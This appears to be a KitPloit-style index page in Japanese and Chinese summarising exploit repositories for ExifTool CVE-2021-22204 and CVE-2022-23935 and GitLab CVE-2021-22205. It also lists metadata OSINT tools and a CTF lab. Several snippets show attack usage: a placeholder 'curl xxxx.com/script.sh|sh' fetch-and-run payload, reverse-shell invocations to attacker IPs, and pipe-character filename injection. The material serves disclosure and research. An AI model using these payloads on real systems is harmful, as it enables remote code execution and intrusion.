exploit-CVE-2021-22204

CVE-2021-22204 ExifTool のエクスプロイト - 任意のコード実行 このリポジトリが気に入りましたか？⭐をお願いします！ 教育および許可されたセキュリティ研究目的に限ります。 エクスプロイト作成者 @UNICORDev by @NicPWNs and @Dev-Yeoj 脆弱性の説明 ExifTool バージョン7.44以降のDjVuファイル形式におけるユーザーデータの無効化が不適切であるため、悪意のある画像を解析する際に任意のコード実行が可能になります。 エクスプロイトの説明...

CVE-2021-22204

影響を受けるバージョン 7.44 12.23 再現手順 root@kitploit: $ bash craftadjvuexploit.sh 'cal' $ ./exiftool delicate.jpg スクリーンショット 参照 NVD-CVE-2021-22204...

POC-CVE-2021-22204

POC-CVE-2021-22204 https://nvd.nist.gov/vuln/detail/CVE-2021-22204 これはテスト用に私が書いた単なる便利スクリプトです。 出力 root@kitploit: Usage ./buildimage.pl Note: if your cmd contains unix special characters use quote! EG: ./buildimage.pl "curl xxxx.com/script.sh|sh" This poc generates an image file notevil.jpg to be...

CVE-2021-22204-exiftool

CVE-2021-22204-exiftool Exiftool の CVE-2021-22204 脆弱性に対する Python エクスプロイト。 脆弱性について CVE-2021-22204 は William Bowling @wcbowling によって発見・報告されました。 このエクスプロイトは、CVE が報告された後に exiftool のパッチを研究して作成されました。 前提条件 exiftool と djvulibre ツールがインストールされていること。Debian または Ubuntu をお使いの場合は、以下のコマンドでインストールできます： root@kitploit...

CVE-2021-22205

CVE-2021-22205 - GitLab 未授权远程代码执行 CVE-2021-22205 是一个影响 GitLab Community Edition CE 和 Enterprise Edition EE 的严重远程代码执行 RCE 漏洞。该漏洞源于对上传图片文件的验证不当，这些文件由第三方工具 ExifTool 处理。攻击者可以构造一个恶意文件，在 GitLab 服务器上触发任意命令执行。该漏洞的 CVSS 评分为 10.0（严重） ，并已被观察到在野积极利用。 受影响版本 该漏洞影响从 11.9 开始至以下版本的 GitLab CE/EE： 低于 13.8.8 低于 13.9...

CVE-2021-22204

CVE-2021-22204 - Exiftool リモートコード実行 説明 最近、研究者の wcbowling 氏が Exiftool ツールに脆弱性を発見しました。これにより、悪意のある攻撃者がリモートコード実行攻撃を行うことが可能になります。この脆弱性は GitLab のバグバウンティプログラムで発見されたもので、同プログラムではこのツールを製品の依存関係として使用しています。 使用方法 12行目（createFile.sh）に、自身の攻撃者マシンのIPアドレスを入力してください。 その後、次のコマンドを実行するだけです: $ bash createFile.sh...

CVE-2022-23935

はじめに CVE-2022-23935 エクスプロイト PoC exiftool バージョン 12.37 インストール root@kitploit: git clone https://github.com/0xFTW/CVE-2022-23935 cd CVE-2022-23935 chmod +x CVE-2022-23935.py pip3 install pwntools 使い方 root@kitploit: ./CVE-2022-23935...

CVE-2021-22204

ExifTool リモートコード実行脆弱性 これはCVE-2021-22204の分析記事になるはずでしたが、むしろ私のメモ帳のようなもので、多くの散らかったものが詰まっています。脆弱性分析記事としてはちょっと余計な話が多いですが、それでも多くのことを学びました。 正直なところ、このツールを使ったことは一度もなく、Perlという言語にもほとんど触れたことがありませんでした。そのため、分析や再現の過程で疑問符だらけでした。分析を始める前に、インターネットで公開されているPoCと、私が抱いた疑問を見てみましょう。 POC - convisolabs...

CVE-2021-22204

CVE-2021-22204 - ExifTool 任意代码実行 CVE-2021-22204 の改良版 Proof-of-Concept です。これは ExifTool バージョン 7.44 から 12.23 における脆弱性で、悪意のある DjVu ファイルを処理する際に任意のコード実行を可能にします。 クレジット これは派生作品です。脆弱性および元のエクスプロイトは私のものではありません。 役割| 誰 ---|--- 脆弱性の発見者| William Bowling @wcbowling、GitLab バグ報奨金プログラムを通じて報告 — 2021年4月 オリジナル PoC 作成者|...

pymeta

PyMeta PyMetaは、PowerShellでdafthackによって作成されたツールPowerMetaのPython3によるリライトです。特別に作成された検索クエリを使用して、GoogleとBingのスクレイピングにより、指定されたドメインから以下のファイルタイプ（pdf、xls、xlsx、csv、doc、docx、ppt、pptx ）を識別してダウンロードします。 ダウンロード後、Phil...

CVE-2021-22204

CVE-2021-22204 CVEの概要 ExifTool バージョン7.44以降のDjVuファイル形式におけるユーザーデータの不適切なサニタイズにより、悪意のある画像を解析する際に任意のコード実行が可能になります。 影響を受けるバージョン バージョン 7.44 - 12.23 特記事項 依存関係: djvulibre-bin exiftool 以下の3つのコマンドを呼び出します: bzz, dvjumake, exiftool 参考文献 GitHub POC - Gustavo Dutra, 2021年5月11日 ケーススタディ: CVE-2021-22204 Exiftool RC...

Metaforge

Metaforge "メタデータを分析し動的レポートを作成するOSINTツール" https://chriswmorris.github.io/Metaforge/ 2019年度 先端設計プロジェクト - Chris Morris と Collin Mockbee 著 Unixベースのオペレーティングシステム向けのPython3アプリケーション 注意: Metaforgeは動作にPythonバージョン3.5以上が必要です！ 対応ファイルタイプ dll | docx | doc | exe | gif | html | jpeg| mkv | mp3 | mp4 | odp | ods |...

GitLab-CVE-2021-22205-scanner

GitLab-CVE-2021-22205-scanner 使用方法 root@kitploit: $ python3 GitLab-revshell.py -u https://gitlab.target.com -l AttackerIP -p AttackerPort クレジット https://hackerone.com/reports/1154542 ここからコードスニペットを参照: https://github.com/CsEnox/Gitlab-Exiftool-RCE/blob/main/exploit.py 免責事項: root@kitploit: The script...

CVE-2021-22205

CVE-2021-22205 通过 Gitlab CE/EE 上的 exiftool 实现预认证远程代码执行 CVE 概要 GitLab 使用 ExifTool 扫描每个 tiff/jpeg/jpg 文件，以移除任何未列入白名单的标签。 但由于 ExifTool 并不根据文件扩展名来判断文件类型，而是根据文件内容，这使得攻击者可以上传任意文件，将其重命名为 tiff/jpeg/jpg 后缀，并"滥用" ExifTool 支持的任何解析器。 在解析 DjVu 文件时，ExifTool 会评估 DjVu 注释令牌以转换 C 转义序列。 受影响版本 Gitlab CE/EE = 11.9 =...

PowerMeta

PowerMeta PowerMetaは、特別に作成されたGoogleおよびBing検索を使用して、特定のドメインに対してさまざまなウェブサイトで公開されているファイルを検索します。その後、ターゲットドメインからそれらのファイルをダウンロードできます。ファイルを取得した後、それらに関連するメタデータをPowerMetaで分析できます。メタデータによく見られる興味深い情報には、ユーザー名、ドメイン、ソフトウェアタイトル、コンピューター名などがあります。 公開ファイルの発見...

CVE-2021-22204

CVE-2021-22204 CVE-2021-22204 ExifTool のエクスプロイト - 任意のコード実行 エクスプロイトの説明 このエクスプロイトを使用して、脆弱なバージョンの ExifTool でコード実行に使用できる JPEG 画像ペイロードを生成します。カスタムコマンドを指定するか、リバースシェルを生成できます。JPEG 画像が自動的に生成されます。オプションで、カスタム JPEG 画像を提供してペイロードを挿入することもできます。...

CVE-2021-22204

CVE-2021-22204 説明 ExifTool バージョン 7.44 以降の DjVu ファイル形式におけるユーザーデータの不適切な無害化により、悪意のある画像を解析する際に任意のコード実行が可能になります。 スクリプト Script Link スクリプトの使い方: システムコマンド: root@kitploit: bash CVE-2021-2204.sh "system'id'" happy.jpg リバースシェル root@kitploit: bash CVE-2021-2204.sh "reverseme 10.10.10.10 9999" happy.jpg...

CVE-2022-23935

CVE-2022-23935 Exiftoolソフトウェアは、12.38より前のバージョンにおいて、特別に細工されたファイル名を通じて悪用される可能性のあるセキュリティ脆弱性を抱えています。 この脆弱性によりコマンドインジェクションが可能になり、攻撃者はファイル名の末尾にパイプ文字「'|'」を追加することで、システム上で任意のコマンドを実行できます。これにより、ファイルは通常のファイルとしてではなく、実行されるコマンドとして扱われます。 その結果、この命名規則を持つシステム上のファイルはすべて、悪意のあるコードの実行に利用される可能性があります。...

POC_CVE-2026-42589

POCCVE-2026-42589 针对影响 Gotenberg 的 CVE-2026-42589 的本地复现实验室及 nuclei 模板草稿。 摘要 CVE-2026-42589 是 Gotenberg 中一个未经认证的远程代码执行问题，由元数据键中的换行符注入引起，具体在： root@kitploit: POST /forms/pdfengines/metadata/write 受影响的 Gotenberg 将用户控制的元数据键转发给 ExifTool，且未拒绝控制字符。一个包含 JSON 转义换行符的元数据键可能被拆分为额外的 ExifTool 参数。 本实验室用于验证：...

dejavu

DejaVu 该容器运行一个 Web 应用程序，使用 exiftool 分析图像并返回其元数据。用户向应用程序发送图像的 URL，应用程序将检索该图像、对其进行分析，并返回结果。该应用程序使用的 exiftool 版本存在 CVE-2021-22204 漏洞，因为 DjVu 文件模块具有不安全的 eval，可通过特制文件触发以执行任意命令。参赛者必须使用其机器人托管一个恶意"图像"（png/jpeg/tiff 格式），然后让应用程序请求该恶意图像并对其进行评估，从而使其有效载荷得以执行。 构建 root@kitploit: docker build . -t dejavu 运行...